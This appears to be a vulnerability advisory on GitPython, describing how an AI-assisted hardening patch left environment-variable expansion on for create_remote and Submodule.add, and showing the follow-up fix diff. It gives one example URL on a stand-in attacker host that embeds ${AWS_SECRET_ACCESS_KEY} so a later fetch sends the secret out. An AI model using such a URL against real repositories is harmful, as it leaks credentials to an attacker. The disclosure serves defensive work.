How AI contributed: Incomplete remediationPublished Jul 24, 2026 in 
gitpython-developers/gitpythonAll 8 findings in this repository
The advisory covers the second half of a two-part boundary. The previous release had removed environment-variable expansion from clone URLs, and the change that did so introduced the switch which made the removal possible. That switch left expansion enabled for every caller that did not opt out, and only the clone path opted out, so Remote.create, reached through Repo.create_remote and its Remote.add alias, and Submodule.add still normalized caller-supplied URLs with expansion on. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git was written into .git/config with the secret substituted, and the next fetch or pull transmitted it to the attacker's host; the submodule path also wrote the expanded value into the tracked .gitmodules file. The completing change passes expand_vars=False at those two remaining callers, so configuration keeps the literal URL and protocol validation sees the same bytes Git receives.
GitPython ran repository URLs through os.path.expandvars, replacing ${...} references with values from the process environment, and has done so since a 2019 human change first released in 3.0.4. An AI-assisted hardening change in 3.1.52 added a switch to turn the expansion off but used it only on the clone path, so URLs passed to create_remote or Submodule.add were still expanded and written into git configuration, and a later fetch or pull sent the embedded secret to the URL's host. A follow-up change, first released in 3.1.55, passes the switch at those two callers.
Case facts
ChatGPT/CodexOnly the highlighted steps are this advisory. The first step is the earlier flaw the AI tried, and failed, to close.
Original flaw
Earlier advisory · GHSA-RWJ8-PGH3-R573Sink: Git.polish_url() in git/cmd.py, reached from Repo.clone_from()
Originally written by Abhishek Kumar Singh
This advisoryCVE-2026-73622 (GHSA-94P4-4CQ8-9G67)
AI tried to fix this
The AI-assisted change was a real security patch, but it left the same advisory reachable.
Missed: Left the remote path on the expanding default: git/remote.py still called Git.polish_url(url), so Remote.add() and Repo.create_remote() expanded environment variables.
Fixed again
This is the patch that actually stops the same attack path.
@@ -903,29 +903,34 @@ class Git(metaclass=_GitMeta): @overload @classmethod- def polish_url(cls, url: str, is_cygwin: Literal[False] = ...) -> str: ...+ def polish_url(cls, url: str, is_cygwin: Literal[False] = ..., expand_vars: bool = ...) -> str: ... @overload @classmethod- def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> str: ...+ def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None, expand_vars: bool = True) -> str: ... @classmethod- def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:+ def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None, expand_vars: bool = True) -> PathLike: """Remove any backslashes from URLs to be written in config files. Windows might create config files containing paths with backslashes, but git stops liking them as it will escape the backslashes. Hence we undo the escaping just to be sure.++ :param expand_vars:+ Expand environment variables and an initial ``~``. Disable this for values+ obtained from an untrusted source, such as remote URLs. """ if is_cygwin is None: is_cygwin = cls.is_cygwin() if is_cygwin:- url = cygpath(url)+ url = cygpath(url, expand_vars=expand_vars) else:- url = os.path.expandvars(url)- if url.startswith("~"):- url = os.path.expanduser(url)+ if expand_vars:+ url = os.path.expandvars(url)+ if url.startswith("~"):+ url = os.path.expanduser(url) url = url.replace("\\\\", "\\").replace("\\", "/") return url @@ -1452,8 +1452,9 @@ class Repo: if multi_options: multi = shlex.split(" ".join(multi_options)) + clone_url = Git.polish_url(url, expand_vars=False) if not allow_unsafe_protocols:- Git.check_unsafe_protocols(url)+ Git.check_unsafe_protocols(clone_url) if not allow_unsafe_options: Git.check_unsafe_options( options=Git._option_candidates([], kwargs),@@ -1465,7 +1466,7 @@ class Repo: proc = git.clone( multi, "--",- Git.polish_url(url),+ clone_url, clone_path, with_extended_output=True, as_process=True,@@ -1505,7 +1506,7 @@ class Repo: # escape the backslashes. Hence we undo the escaping just to be sure. if repo.remotes: with repo.remotes[0].config_writer as writer:- writer.set_value("url", Git.polish_url(repo.remotes[0].url))+ writer.set_value("url", Git.polish_url(repo.remotes[0].url, expand_vars=False)) # END handle remote repo return repo @@ -808,7 +808,7 @@ class Remote(LazyMixin, IterableObj): """ scmd = "add" kwargs["insert_kwargs_after"] = scmd- url = Git.polish_url(url)+ url = Git.polish_url(url, expand_vars=False) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) repo.git.remote(scmd, "--", name, url, **kwargs)@@ -608,7 +608,7 @@ class Submodule(IndexObject, TraversableIterableObj): # END verify url ## See #525 for ensuring git URLs in config-files are valid under Windows.- url = Git.polish_url(url)+ url = Git.polish_url(url, expand_vars=False) # It's important to add the URL to the parent config, to let `git submodule` know. # Otherwise there is a '-' character in front of the submodule listing:AI-assisted change c999116c16354b54775407ac66406b969feb6fb5069c1cee12b4fa5e67084753 · Fix d71616a364050ace070666a0c90f9df33e5e3490dad2a24e73d455d2ea01e751